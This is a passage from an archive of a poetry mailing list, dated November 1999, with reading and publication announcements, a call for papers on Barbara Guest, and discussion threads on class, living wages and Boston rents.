> *edwin arlington robinson*
> *james weldon johnson*
> *paul lawrence dunbar*
> *lola ridge*

> *amy lowell*
> *gertrude stein*
> *robert frost*
> *alice dunbar-nelson*
> *carl sandburg*
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> *mina loy*
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> *ezra pound*
> *h.d.*
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>
> > *http://www.english.uiuc.edu/maps*
>
> *and editor nelson may be contacted if you wish to contribute to same:*
>
> > *prof. cary nelson*
> > [redacted] *(fax)*
> > *english dept.*
> > *university of illinois*
> > *608 s. wright st.*
> > *urbana, illinois 61801*
> > *usa*
>
> *///*
>
> *joe*

↑ Index

318. Robert Freedman
Texts: "Writing from the New Coast"
Tue 16 Nov 1999

Dear List,

Maybe I'm the last to have heard about Buffalo's Poetry Collections/Publications on the web, but I was amazed to find shrink-wrapped copies for sale of o-blek's "Writing from the New Coast." It's listed as out-of-print elsewhere (and it probably is), so if anyone's looking for a reasonably-priced copy of this anthology, go to:

http://ublib.buffalo.edu/libraries/units/pl/buffpubs/index.html

There was no mention of scarcity of copies, so I'm assuming more are available.

And ... there are other interesting, inexpensive items for sale.

Cheers,

Bob Freedman

↑ Index

319. **Robert Corbett**
Re: new anthology...
Tue 16 Nov 1999

---

given the editor, if you are interested in his editorial principles, you might look at _repression and recovery_ about the varieties (canonical and not so) of 20s through 45 american verse.

-- Robert Corbett "I worried about the gap between [redacted] expression and intent, afraid the world Department of English might see a fluorescent advertisement University of Washington where I meant to show a face." -Rosemary Waldrop

On Sun, 14 Nov 1999, Joe Amato wrote:

> *just rec'd news in the mail of what looks to be yet another interesting, and no doubt eyebrow raising, anthology, this time on oxford up no less (as most of you know, the same press that dropped of late their contemporary poetry series, despite public handwringing in the british parliament)... forthcoming december 1999, just in time for mla, y2k, etc.:*
>
> *_anthology of modern american poetry_*
> *ed. cary nelson*
> *1200 pp., paper, $45*
>
> *here's the list of the poets included (which is not meant to imply that all poets receive equal treatment, page-wise):*
>
> *-------*
>
> *walt whitman*
> *emily dickinson*
> *edwin markham*
> *sadakichi hartmann*
> *edgar lee masters*
> *edwin arlington robinson*
> *james weldon johnson*
> *paul lawrence dunbar*
> *lola ridge*
> *amy lowell*

> *gertrude stein*
> *robert frost*
> *alice dunbar-nelson*
> *carl sandburg*
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↑ Index

320. **Daniel Bouchard**

Watten DuPlessis Writers House

Tue 16 Nov 1999

Date: Fri, 12 Nov 1999 11:33:28 -0500
From: Al Filreis <[redacted]>
Subject: Watten DuPlessis Writers House webcast

PhillyTalks at the Kelly Writers House
with Barrett Watten & Rachel Blau DuPlessis
Monday November 15
beginning at 6 PM eastern time
will be webcast live.

WOULD someone who attended this event be willing to give a brief report to those of us who did not?

This is a Reading-Reports-on-Demand Request .

<<<<<<>>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
fax: [redacted]
>>>>>>>><<<<<<<<<<<<<<<<

↑ Index

321. Marla Jernigan
Introduction
Tue 16 Nov 1999

On other lists that I have read or participated in new members have, somewhat formally, introduced themselves to the community. I've not seen any messages like those appear on this list, though I might have missed them, but anyway, let me introduce myself...

My name is Marla Jernigan. I am a poet. I live in Atlanta, or Chamblee, which is much the same thing. I don't care too much for poetics as philosophical conquest and prefer to see both the things I do and the things I talk about as singular, worth reading for what they are more than what they remind one of.

I would like to know what anyone out there thinks of symbolism, not the French movement but the actual practice and life in symbols, backchannel please.

Thank You,

Marla

=====

Do You Yahoo!?
Bid and sell for free at http://auctions.yahoo.com

↑ Index

322. **Joe Brennan**
Re: class, gender etc.
Tue 16 Nov 1999

In a message dated 11/16/1999 3:39:11 PM Eastern Standard Time, [redacted] writes:

<<
Let's specify here. Go to far Eastern Kentucky, Appalachia to be exact. The entire state is not comprised of the above picture.
>>

even more specifically, take a drive along Stinking Creek Road...

jb....

↑ Index

323. **Taylor Brady**
Re: [silence] Sonic Youth do Cage, Tenney, Wolff, et al
Tue 16 Nov 1999

Picked this up the other day - a double CD set for single CD price. Some of the performances are fairly "faithful," some range closer to "versions," with the longer pieces (esp. the Cardew and Cage, if I remember correctly) being, to my ears, the more interesting. Includes a recording of Coco Hayley Gordon Moore (Sonic Youth's own sonic youth) doing Yoko Ono's "Voice Piece for Soprano" in a mercifully short 12 seconds.

From: UB Poetics discussion group [mailto:[redacted]]
On Behalf Of Lowther, John
Sent: Tuesday, November 16, 1999 7:38 AM
To: [redacted]
Subject: FW: [silence] Sonic Youth do Cage, Tenney, Wolff, et al

{ p o e t i x etc}

(i pinched this off the silence list thinking some of you wd be interested)

_____

> *Sonic Youth's new recording, "Goodbye 20th Century" comes out today. Unlike their more rock-oriented discs, this one contains pieces by John Cage (Four^6 and Six), Christian Wolff (Edges and Burdocks), Pauline Oliveros (Six for New Time for Sonic Youth), Takehisa Kosugi, James Tenney, Yoko Ono, Cornelius Cardew, Nicolas Slonimsky, George Maciunas, and Steve Reich. Guest performers include Wolff, Kosugi,*

> *Jim O'Rourke, William Winant, Christian Marclay, and others.*

↑ Index

324. **Damion Searls**
Re: Business, class, AMMIANO
Tue 16 Nov 1999

Another anecdote: a friend of mine teaching at University of Washington told me that one student, whose mother was a very successful (= rich) pediatrician and whose father was a very successful (= rich) Microsoft employee, considers her family "working class" because both her parents work.

So I don't think of the issue as one of "unnameability and invisibility" (see below), rather (also) as an issue of history and knowledge (i.e. knowing what "working class" ACTUALLY MEANS).

--Damion Searls

> *The majority of Americans will name themselves as "middle class" (despite external evidence to the contrary) which underscores the extent to which class is unnameable and invisible in this country.*
>
> *RD Levitsky writing from the Villa:*
>
> *An anecdote: I once taught welfare recipients, through one of those abominable BEGIN (END) programs. When discussing class, my students, many of them told me they considered themselves middle class--as marked by their housing and their possessions.*

↑ Index

325. **Pete**
Re-introduction
Tue 16 Nov 1999

It's me, Pete. I've been away.

My new address is in Portland, Oregon.

I know there are some who wonder what ever became of Happy Genius. Well, write me back-channel and I'll tell you.

For those half a thousand who joined since I left... Yes, I write. The primary question, however, is "who do you read?" isn't it? Modernists, Objectivists, Postmodernists mostly. I guess I'm really 40 years delayed in my taste or something. I haven't seen anything by any National Book Award winner that I have liked.

Pete Landers
[redacted]

↑ Index

326. **David Kellogg**
[Fwd: CFP: Barbara Guest (6/1; journal)]
Tue 16 Nov 1999

I thought this would be of interest to the list.

Cheers,
David

Subject: CFP: Barbara Guest (6/1; journal)
Date: Mon, 15 Nov 1999 10:35:05 -0600
From: Catherine Kasper <[redacted]>
To: "'[redacted].'"
<[redacted]>

CFP: Barbara Guest (6/1/2000)

Call for Critical Essays

Special issue of Women's Studies: An
Interdisciplinary Journal

Critical essays on Barbara Guest are sought for a
special issue of Women's
Studies: An Interdisciplinary Journal. This volume
will focus on the
importance of Barbara Guest's contribution to
literary and interdisciplinary
arts. Essays which situate Guest in the literary
and historical context in
which she writes are preferred over close
readings. Editor is also
interested in essays which discuss Guest's
collaborative work with visual
artists, relationship to the New York School, and
those which examine her
influence on recent poetry.

Send essays via mail by 1 June 2000 to

Catherine Kasper, Division of English, Classics,
Philosophy and
Communication, University of Texas at San Antonio,

6900 North Loop 1604
West, San Antonio, Texas 78249-0643.

Inquiries: [redacted] ([redacted]).

==========
From the Literary Calls for Papers
Mailing List
[redacted]
Full Information at
http://www.english.upenn.edu/CFP/
or write Erika Lin:
[redacted]

==========

↑ Index

327. Scharf, Michael (Cahners -NYC)

Publishers Weekly

Tue 16 Nov 1999

Poetry Forecasts used to run the last Monday of every month. Starting December 6th, it will run on the first Monday. So if, by chance, one were to pick up the Nov 29th issue, one would find no poetry reviews therein.

And re: the New Yorker thing (vote Prynne), here's the PW "Best Books"

Ted Joans's Teducation (Coffee House)
Pamela Lu's Pamela: A Novel (Atelos)
Ange Mlinko's Matinees (Zoland)
Les Murray's Fredy Neptune (FSG)
Adrienne Rich's Midnight Salvage (Norton)
Aaron Shurin's A Paradise of Forms (Talisman)

Cheers -Mike

↑ Index

328. Jerrold Shiroma

small press announcements deadline

Tue 16 Nov 1999

The deadline for this weeks small press publications listing is this Friday. Any publisher who wishes to have their recent publications listed, please send all relevant information to [redacted]

↑ Index

329. **Alan Sondheim**

report

Tue 16 Nov 1999

---

apparent report from Doctor Leopold Konninger

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330. **sylvester pollet**
New Writing Series
Tue 16 Nov 1999

Anyone passing through Orono? Even if not, some of the info & links below
might be of general interest.

Steve Evans is coordinating this new reading series. His e-mail is Steven_Evans @umit.maine.edu. Sylvester

New Writing Series

Lee Ann Brown

Ben Friedlander

Thursday - 18 November
4PM 402 Neville Hall (Writing Center)
Univ. of Maine, Orono, Maine

> *Sponsored by the English Department Contact Steve Evans at [redacted] for more information*
>
> *Lee Ann Brown, 35 years old and a native of Charlotte, North Carolina, presently lives, writes, and teaches in New York City. Her first book Polyverse (Los Angeles: Sun & Moon, 1999) is a wild compendium of jubilant, erotic, tuneful, melancholy, manic, and altogether indispensable poems that weave into a polyphonic chorus the voices of Brown's "excitement sisters"-- from Emily Dickinson and Gertrude Stein to Liz Phair and the Breeders. A teacher long associated with the Jack Kerouac School of Disembodied Poetics at Naropa, Brown is also the publisher of Tender Buttons books, since the late-1980s a high-energy locus of feminist avant-garde writing by figures such as Bernadette Mayer, Harryette Mullen, Rosmarie Waldrop, Anne Waldman, Hannah Wiener, and Jennifer Moxley. Brown has recently completed work on a second collection, The Sleep That Changed Everything. A sample of Brown's work can be accessed on the web at*
>
> *http://bostonreview.mit.edu/BR23.5/Equi.html*
>
> *Prior to joining the English Department faculty at the University of Maine this fall, Ben Friedlander was a defining presence in the poetic communities of Berkeley and Buffalo. Co-editor of Jimmy & Lucy's House of K, Dark Ages Clasp the Daisy Root, and most recently of the web-journal Lagniappe (with Graham Foust), Friedlander is the author of Time Rations (Oakland: O Books, 1992) and numerous chapbooks with Meow Press in Buffalo, including Selected Poems (1998). Working at the limits of a compressed lyric idiom, Friedlander is a poet of exuberant negativity, historical vulnerability, and supercharged ideological identifications. In 1997, the University of California published the Collected Prose of Charles Olson, co-edited by Friedlander and the legendary anthologist and editor Donald Allen (http://www.ucpress.edu/books/pages/6739.html). Samples of Friedlander's work are available at*
>
> *http://bostonreview.mit.edu/BR23.3/poetrysampler.html*
>
> *Other Poetry Events of Note*
>
> *Monday, 15 November, Noon Sigma Tau Delta Open Floor Poetry / Short Prose Reading at Wicks Reading Room (Neville 304) Contact Ryan Seely, Jaimi Allen, Kristen Dobler, Amber Thurlow, or Margaret Lukens*

Tuesday, November 16, 8:30 Poetry/Prose at the Bear Brew Pub
Contact Terry Crouch for more information

Friday, December 3 Jennifer Moxley and Anselm Berrigan read in the
New Writing Series Time and room to be announced

Wednesday, December Reading and Book Party to celebrate the
publication of Constance Hunting's Natural Things: Collected Poems
1969-1998 (National Poetry Foundation) Time and room to be announced

And for more information, link to
Polyverse at
http://www.sunmoon.com/lit_lives/brown.html
Lagniappe at
http://www.acsu.buffalo.edu/~foust/lagniappe.html
Small Press Distribution at
http://www.spdbooks.org/
The Electronic Poetry Center at
http://writing.upenn.edu/epc/
Steve Evans's review of Friedlander's Period Piece (Buffalo: Porci con
le ali, 1998) on Notes to Poetry
http://www.bway.net/~arras/issue2/newnotes2/notes14.htm

↑ Index

331. **pete spence**
Re: class, gender etc.
Tue 16 Nov 1999

In a message dated 11/15/99 2:26:20 PM Eastern Standard Time,
[redacted] *writes:*

<< Dear Masha,

Go to Kentucky, look around, start there, see poor, dirt floors, rags and
rust. "all be said"? I don't think so. There are tens of millions of
poor
in
this country.
>>

Let's specify here. Go to far Eastern Kentucky, Appalachia to be exact.
The
entire state is not comprised of the above picture.

Aaron Keith

could be in any state where-ever in this world!!! seems the growing population of "below the poverty liners" is a inverse situ to the growing fancy to be a shareholder in this late part of this century!!!!//pete spence

_____
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↑ Index

332. **pete spence**
Re: Business, class, AMMIANO
Tue 16 Nov 1999

>
>The majority of Americans will name themselves as "middle class" (despite
Yes, we are definitely a "super power" "first world" nation, but
>inside our borders many live in "third world" conditions. See, for example,
>the infant mortality rate in inner cities.
>^^
>Kathy Lou Schultz

> *yes and its the case here and that rate would not be anywhere near the mortality rate of our aboriginal people here in australia /pete*

_____
Get Your Private, Free Email at http://www.hotmail.com

↑ Index

333. **pete spence**
Re: class, gender etc.
Tue 16 Nov 1999

> *From: David Baptiste Chirot <[redacted]>*

>
> first, any one can be a poet
>
> about the author's search for the place that Walt Whitman
>lived when he wrote the first edition of Leaves of Grass
> (and a wise person here notes how important place is)
> after much laborious research, the writer found the place
> he knocked on the door in excitement--
> a large Rastafarian Jamaican answered the door--
> the author said, do you know a great poet lived here?
> the Rastafarian answered--how do you know one doesn't live here
>now?

>
>
and thankfully there are a lot who don't need to write it, just live it//pete

_____
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334. **levitsk**
Re: Business, class, AMMIANO
Tue 16 Nov 1999

The last thing I'd intended was to deny class, working class, invisible class. Rather to underscore the difficulty that you speak of below. Hence my ironic comment about being leisure class.

Rachel

↑ Index

335. **K.Angelo Hehir**
Re: phonaesthetic
Tue 16 Nov 1999

hi folks,

sorry for the one stop post but deadlines are crashing all around me and e-time is at a premium.

i just want to thank all the kind sirs that offered me references for my research.

one of the strange things that i've experienced since moving to newfoundland from continental north america are the hit and miss library searches. bernstein,s _close listening_ -yes. adalaide morris - no. a search for _site of sound_ produced this:

Title: A comparison of site-to-site repeatability of two stationary measurement procedures for truck exterior sound levels [microform] / prepared for Transport Canada, Road and Motor Vehicle Safety ; prepared by : Harford, Kennedy, Wakefield Ltd.

so, i never know what i'll get.

as for the web-sites that daniel zimmerman suggested, Margo's Magical Letter Page is incredible and i can't get into the other one. thanks again, kevin

↑ Index

336. David Gitin
Re: Lester Bowie on KPFA
Tue 16 Nov 1999

Stephen, it's Jim Bennett, not John.

↑ Index

337. ixnaypress
announcement - ixnay 3 & mirakove's WALL
Tue 16 Nov 1999

We are pleased to announce the publication of ixnay #3, our new issue chock full of fine work by:

Seth Frechie
Rod Smith
Louis Cabri
Marcella Durand
Gregory Vincent St. Thomasino
Allison Cobb
Mark DuCharme
Dana Lisa Lustig
Spencer Selby
Kristine Grow
Patrick F. Durgin
Tom Devaney
Brendan Lorber
Sue Landers
Jason Nelson
Joel Dailey
Jeffrey Jullich
Ethan Fugate
Matt Hart
Randy Prunty &)ohnLowther
Elizabeth Treadwell
Hank Lazer

as well as

Shawn Walker's review of Greg Fuchs's "Came Like It Went"

& Chris McCreary's short reviews of Andrew Mossin's "The Epochal Body," Cole Swensen's "O (excerpts)", and Gustaf Sobin's "Articles of Light & Elation."

We are also delighted to announce the publication of the latest ixnay press chapbook, WALL by carol mirakove. This lovely chapbook features glossy black & white (& sometimes orange) cover art by the author herself.

ixnay #3 can be had for $5; WALL is $6. Order both for the low low price of $10 & save!!! Feel free to e-mail orders -- we'll ship now & you can pay later by making out a check to either Chris McCreary or Jenn McCreary, not ixnay.

Also, Peter Ganick's chapbook "Immanence 3," published earlier this year by ixnay press, is now available via Small Press Distribution or straight from ixnay for $6. (Note: "Immanence 3" is the only ixnay title available thru SPD. All others must be ordered directly from ixnay.)

Orders to:

ixnay press
c/o McCreary
1164 S. 10th Street
Philadelphia PA 19147
[redacted]

Thanks.

Chris McCreary & Jenn McCreary
co-editors, ixnay press

p.s. Apologies to anyone who receives multiple copies of this post due to membership on more than one listserv. If you would like to be removed from our individual mailing list, please e-mail us & let us know.

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338. Maria Damon
XCP EVENT IN CHICAGO
Tue 16 Nov 1999

Xcp: Cross-Cultural Poetics,

a journal of poetics, ethnography, and cultural & performance studies,

will be hosting a Chicago-area event/reading:

This Friday, November 19th, 1999 at 7:00pm

Barbara's Bookstore (downtown Chicago, N. Wells Street)

In recent years _Xcp: Cross-Cultural Poetics_ has published new interdisciplinary work from over 100 writers/scholars including:

Anthropologists like Lila Abu-Lughod, Roger Sanjek, and Kathleen Stewart...

Poets/Writers like Amiri Baraka, Kamau Brathwaite, Diane Glancy, Gerald Vizenor, Rachel Blau DuPlessis...

Performace Studies artists/scholars such as Guillermo Gomez-Pena, May Joseph, etc.

At the Barbara's Bookstore event this Friday (11/19, 7:00pm), participants will include:

1.) Sterling Plumpp's recent books include _Blues Narratives_ (Tia Chuca Press/Northwestern University Press), and several books from Chicago's Third World Press. He's a professor at UIC-Chicago.

2.) In addition to editing Xcp Mark Nowak has edited two new books, _Then, and Now: Theodore Enslin's Selected Poems, 1943-1993_ (National Poetry Foundation, 1999) and _Visit Teepee Town: Native Writings After the Detours_ (w/ Diane Glancy, Coffee House Press, 1999). Nowak's poems and "microethnographies" have appeared recently in _American Anthropologist_, _Qualitative Inquiry_ and _An Anthology of (New) American Poets_, and his first collection of writings is forthcoming from Coffee House Press next year.

3.) Peter O'Leary is a regular contributor to _Chicago Review_ and editor of Ronald Johnson's Selected Poems (Talisman House). He is also finishing his PhD at the University of Chicago.

Please help us to spread the word about this event by stopping out at Barbara's Friday night and forwarding this e-mail to friends, colleagues, other writers, students, etc. and encouraging them to attend. And thanks for helping to spread the word.

Mark Nowak, ed.
Xcp: Cross-Cultural Poetics

↑ Index

339. Jim Andrews
Bill Marsh and sunbrella.net on Defib this Sunday
Wed 17 Nov 1999

BILL MARSH AND SUNBRELLA.NET
PUBLISHING-BROADCASTING, AND THE POETICS OF HYPERMEDIATED ART

on Defib: http://webartery.com/defib
Sunday November 21, Noon PST (19:00 GMT)

Bill Marsh is the featured Web artist at Defib this Sunday.

Bill is a new media writer who combines critical acumen with an engaging poetical approach to Web art. His own site (http://bmarsh.dtai.com/home.html)

features essays, poems, new media work, and his Paper Brain Press. He's launching http://sunbrella.net, a Web broadcasting venture that will broadcast Web content of various types. Sunbrella.net will be launched by the time this edition of Defib happens, very likely, so sunbrella.net and its works and vision will be the main focus of the show. To be a publisher now can also involve broadcasting various media. Bill is the publisher of Paper Brain Press and his Web site, and now his publishing venture is expanding into broadcasting. Should be a good show on the nature of publishing in the contemporary scape and on some interesting work with Bill Marsh, one of the progressive new media/poetics thinkers on the Web.

Defib is webartery.com's online live artist interview surf show. All you need to participate is a Java enabled browser pointed at http://webartery.com/defib. Defib happens on 1st and 3rd Sundays. The transcript of the IRC (Internet Relay Chat) session is logged and then produced into hypertranscripts. Defib's featured Talan Memmott and Clair Dinsmore so far; the transcript of the show on Talan's work is at http://webartery.com/defib/canned/1talan.

Produced by Dan Waber, Jim Andrews, and the folks of webartery.com.

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340. Elizabeth Fagin
LEROY chapbook series
Wed 17 Nov 1999

Announcing the release of book two in the LEROY chapbook series:

Gift & Verdict by Roberto Tejada
36 pages, 7 x 8 ½
Kangxi or "noble" binding
$5

"Being a day on which the eating of flesh
was forbidden, the monosyllabic, misdelivered
tug of the deprived body dancing
on the clumsy bone, earth
gleaming with blood of the unlawful,
the recurrence of first infliction,
or so the animal riven between my legs
in jets issued from the throat, gash
semblance of a human relish
in the agony of others,
as there were harrowed corpses
everywhere once here in uproar
and repetition over time

receding now into the ecstatic
lather and stench as you quiver
tight to the foul edge and fine gore"

Book one: Cartographies of Error, Rachel Levitsky

Forthcoming Releases for 1999:

Summi Kaipa, The Epics
Hoa Nguyen, Selected Poems

Individual titles ($5) or subscriptions ($18 for four books) are
available from Leroy (a.k.a. Renee Gladman)
17-A Chattanooga Street, San Francisco, CA 94114
or [redacted].

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341. Rachel Loden
class notes b/w duchess of URL
Wed 17 Nov 1999

All the list-turbulence around class suggests a passage from Brecht's "To Posterity," one I've found useful in coming to terms with the fury that seems to come with this territory. Quoted despite its flaws, translated or otherwise (anyone know a better English version than the H.R. Hays, which this is?):

You, who shall emerge from the flood
In which we are sinking,
Think--
When you speak of our weaknesses,
Also of the dark time
That brought them forth.
For we went, changing our country more often than our shoes,
In the class war, despairing
When there was only injustice and no resistance.

For we knew only too well:
Even the hatred of squalor
Makes the brow grow stern.
Even anger against injustice
Makes the voice grow harsh. Alas, we
Who wished to lay the foundations of kindness
Could not ourselves be kind.

But you, when at last it comes to pass
That man can help his fellow man,

Do not judge us
Too harshly.

Am still as puzzled as I was on our last go-round by the conflation of class with money. More on that later, perhaps--

For now an invitation to my website, although at this point it's mostly a book site. At the main page there's really just my ticket to the Berkeley Poetry Conference in '65 (when I was 17):

http://www.thepomegranate.com/loden/

But that leads to a page for the new HOTEL IMPERIUM:

http://www.thepomegranate.com/loden/hotel.html

Also today (Wednesday the 17th--and for a year in the archives), I have a poem at Poetry Daily--

http://www.poems.com/

Thanks all.

* - * - * - * - * - * - * - * - * - * - * - *

Rachel Loden

http://www.thepomegranate.com/loden/hotel.html

email: [redacted]

* - * - * - * - * - * - * - * - * - * - * - *

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342. Summi Kaipa
Interlope #4
Wed 17 Nov 1999

Interlope #4

makes its way to the stands this week!

This issue is the greatest ever, and they'll only be getting better.

Chris Chen
Linh Dinh
Alvin Lu
Sawako Nakayasu
Kirthi Nath
Fred Wah

$5 for this marvelous issue with an oh-so-stunning cover (thanks to colleen coover)!

A must have for your lovely bookcases! Why, you could even subscribe to this fantastic magazine for the low price of $10/ 2 issues!

Please send all correspondence/inquiries/money to:

Summi Kaipa
Interlope
PO Box 423058
San Francisco, CA 94110
[redacted]

↑ Index

343. Tom Orange
The New Yorker magazine dated 8/22/99
Wed 17 Nov 1999

On Mon, 15 Nov 1999, Susan Wheeler wrote:

> *Of No Country I Know - David Ferry*
> *Vita Nova - Louise Gluck*
> *The Constructor - John Koethe*
> *Poems - J.H. Prynne*
> *The Pilot Star Elegies - Sherod Santos*
>
> *I can only urge you to vote, so that the range for next year's contest might be even greater --*

and Dave Zauhar wrote

> *You can in fact vote from the website, though unfortunately there is no slot for "none of the above." Thank gods those weren't the only five books published this year.*

well i have to voice some support for the prynne book. it's truly a major event, gathering the bulk of 18 individual collections spanning 30 years of work which has to this point been virtually impossible to obtain.

as if, for example, all of ashbery from *some trees* up to the *selected poems* became available all at once for the first time in the mid-1980s.

tom orange
d.c.

↑ Index

344. Deborah Meadows
Cuban poetry scene
Wed 17 Nov 1999

To UB Poetics List,

This June I will be part of a group of faculty and students who will travel to Cuba for ten-days as part of an exciting, on-going cultural exchange with scholars and artists from Cuba that has been initiated and organized by Saul Landau, a filmmaker and frequent commentator on Pacifica's KPFK. I would greatly appreciate it if any List members might put me in touch with Cuban poets by e-mail so that I might be able to communicate with these individuals ahead of the trip and might be able to plan a meeting with them during the trip. My address is [redacted]

With appreciation,

Deborah Meadows
==========
Deborah Meadows [redacted]
Cal Poly University - Pomona, CA [redacted]

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345. Daniel Bouchard
living and wages (of sin? of fear?)
Wed 17 Nov 1999

In a message dated Wed, 10 Nov 1999 19:48:01 EST, Stephen Vincent writes:
>oth candidates support "living wage" contracts (as different from "minimum")
>for corporations et al doing business with the City of San Francisco. This
>mutual commitment will undoubtedly draw national media attention. Which will
>undoubtedly impact discussion of this issue – or make it an issue - in Boston.

Boston passed a living wage ordinance last year. Some of its teeth, however, were knocked out in a scuffle shortly afterward. Somerville (accessible by Boston subway) has a committee working toward a living wage. Cambridge passed a living wage ordinance earlier this year. The group I volunteer with as a tenant organizer, the Eviction Free Zone, spearheaded it (i.e., wrote it) in conjunction with members of the Local Carpenter's union.

Still, all of these cities are reeling from the loss of rent control. My employment at MIT got me into the university housing office which was a happy instance of right place, right time, and it landed me a lease in Cambridge at an affordable rent. Having fought an eviction for the past year, the timing was pretty good.

Not everyone has been lucky though and it's no small wonder that even those poets who do manage to stick it out in the cities have to spend so much of their time working to pay rent. This is a strike against the kinds of "community" where you actually can meet with people face to face.

Even the author of The Hotel Wentley Poems has been having landlord trouble. He lives on Beacon Hill, which some people may translate to mean that he lives in luxury. Far from it. Still, there are dedicated people who look out for him, and others (poets) who are working to raise money to secure his situation.

<<<<<<>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
fax: [redacted]
>>>>>>><<<<<<<<<<<<<<<<

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346. **Brent Long**

Re: living and wages (of sin? of fear?)

Wed 17 Nov 1999

Daniel brings up a very good point here. The loss of rent control in Boston is for me an enormous burden. Not having been so lucky as Daniel, I live in a student ghetto called Allston, where I pay more than $700/month for a run-down studio apartment with peeling walls and drafty windows. And I'm damn lucky to have it, considering Boston University has to house students in hotels because the vacancy rates in any decent area here are currently at less than 3%. However, I work a 50 or 60 hour week every week, and while my salary is above what I would consider to be a "living wage" in most areas of the country, it is certainly not enough to afford me the lifestyle I want to be living for how much effort I have to put in to my job.

Not that a living wage isn't important - it is - but "living wage" is really just a bandage. The real issue here is that legislation (at least in Boston) has repeatedly sided with the wishes of property owners who want to squeeze every possible dime out of "Daddy's Pocket". (Lots of students = Lots of $$$) To increase people's pay to a "living wage" without also placing restrictions on how many of those dollars the property owners can take from us does very little to afford me any more time to read and/or write poetry.

Perhaps I've missed something here, but I do wonder if this is also an issue in San Francisco, or if the implication of this thread has been that a "living wage" will solve all our poetic woes?

From: UB Poetics discussion group
[mailto:[redacted]]On Behalf Of Daniel Bouchard
Sent: Wednesday, November 17, 1999 2:59 PM
To: [redacted]
Subject: living and wages (of sin? of fear?)

In a message dated Wed, 10 Nov 1999 19:48:01 EST, Stephen Vincent writes:
>oth candidates support "living wage" contracts (as different from "minimum")
>for corporations et al doing business with the City of San Francisco. This
>mutual commitment will undoubtedly draw national media attention. Which will
>undoubtedly impact discussion of this issue – or make it an issue - in Boston.

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Even the author of The Hotel Wentley Poems has been having landlord trouble. He lives on Beacon Hill, which some people may translate to mean that he lives in luxury. Far from it. Still, there are dedicated people who look out for him, and others (poets) who are working to raise money to secure his situation.

<<<<<<>>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
fax: [redacted]
>>>>>>><<<<<<<<<<<<<<<<

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347. Joe Amato
Re: class notes b/w duchess of URL
Wed 17 Nov 1999

---

i think rachel's point -- that class does not = money -- is one key to understanding WHY class is crucial to discussions of symbolic work...

some unreconstructed marxists i know would not want to make the (theoretical) move to class ideology through the ideology of signs and symbols... but if i wouldn't want to see class reduced to money issues, strictly speaking, nor would i want to talk class W/O occasionally talking dollars and sense...

and i think there is some value in discussing, e.g., poetry reading fashions and related anxieties... and for that matter, i think the tv show *roseanne* was dead-on in its representations of working class/middle class etc. realities (and i only warmed up to the show at kass's urgings via reruns, stupid me)...

anyway, love to hear more here...

best,

joe

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348. Tony Green
Re: phonaesthetic
Wed 17 Nov 1999

In spite of all attempts to overcome centre/province relations, some cultural centralities remain & library (& like cultural resources -- make your own list of them) are a constant reminder of that. You should have seen the strange visuals on my screen in Auckland from Philadelphia Writers' House two days back. Barrett Watten's head continually disformed for twenty minutes, interrupted only by connections breaking three or four times + several minutes of unintelligible sound.

Welcome to the real world, Kevin. Distance spooks our way.

However, replies to your query proved useful to a colleague here researching kinaesthetics. But I havent heard from her whether she cd get any of the titles listed.

Tony Green

From: K.Angelo Hehir <[redacted]>
To: [redacted] <[redacted]>
Date: Thursday, 18 November 1999 09:06
Subject: Re: phonaesthetic

> *hi folks,*
>
> *sorry for the one stop post but deadlines are crashing all around me and e-time is at a premium.*
>
> *i just want to thank all the kind sirs that offered me references for my research.*
>
> *one of the strange things that i've experienced since moving to newfoundland from continental north america are the hit and miss library searches. bernstein,s _close listening_ -yes. adalaide morris - no. a search for _site of sound_ produced this:*
>
> *Title: A comparison of site-to-site repeatability of two stationary measurement procedures for truck exterior sound levels [microform] / prepared for Transport Canada, Road and Motor Vehicle Safety ; prepared by : Harford, Kennedy, Wakefield Ltd.*
>
> *so, i never know what i'll get.*
>
> *as for the web-sites that daniel zimmerman suggested, Margo's Magical Letter Page is incredible and i can't get into the other one.*
> *thanks again,*
> *kevin*

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349. **Alan Sondheim**
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Wed 17 Nov 1999

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350. **pete spence**
Re: class notes b/w duchess of URL
Wed 17 Nov 1999

> *All the list-turbulence around class*
>
> *Rachel Loden*
>
> *the turbulence of class discussion!!!pete*

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351. **pete spence**
Re: class notes b/w duchess of URL
Wed 17 Nov 1999

>
>All the list-turbulence around class Rachel Loden
>
and who'd have such a discuss any other way???pete

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352. **pete spence**
Re: Business, class, AMMIANO
Wed 17 Nov 1999

> *Date: Tue, 16 Nov 1999 16:30:29 -0800*
>
> *The last thing I'd intended was to deny class, working class, invisible*

> *class. Rather to underscore the difficulty that you speak of below. Hence my ironic comment about being leisure class.*
>
> *Rachel*

the "you" you Rachel speak of in this little note seems to be of the dissappeared class!!!!pete spence

_____
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353. Stephen Cope
Beyond the Page
Thu 18 Nov 1999

BEYOND THE PAGE resumes its monthly series of literary and arts events with the following reading/performance:

What: SPENCER SELBY and ANDREW JORON read from their work.

Where: Faultline Theater, 3152 5th Avenue (at Spruce), in San Diego's Hillcrest District.

When: Sunday, November 21, 1999.

Etc: $3-5 donation requested, with no-one refused at the door. Beer, wine, and other refreshments available.

BTP is proud to continue its monthly series of arts-related events with this reading/performance. BTP is an independent literary and arts group dedicated to the promotion of experimental and explorative work in contemporary arts. For more information, call: [redacted], [redacted]; e-mail: [redacted], [redacted].

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354. Mark Melnicove
Re: New Writing Series
Thu 18 Nov 1999

Hi Sylvester,
Can't make it up to Orono today for the reading, though I would like to.
Could somebody get Lee Ann Brown to autograph a copy of POLYVERSE for me and send it along with a bill? Thanks.
Mark

> *Anyone passing through Orono? Even if not, some of the info & links below*
> *might be of general interest.*

Steve Evans is coordinating this new reading series. His e-mail is Steven_Evans @umit.maine.edu. Sylvester

New Writing Series

Lee Ann Brown

Ben Friedlander

Thursday - 18 November
4PM 402 Neville Hall (Writing Center)
Univ. of Maine, Orono, Maine

Sponsored by the English Department Contact Steve Evans at [redacted] *for more information*

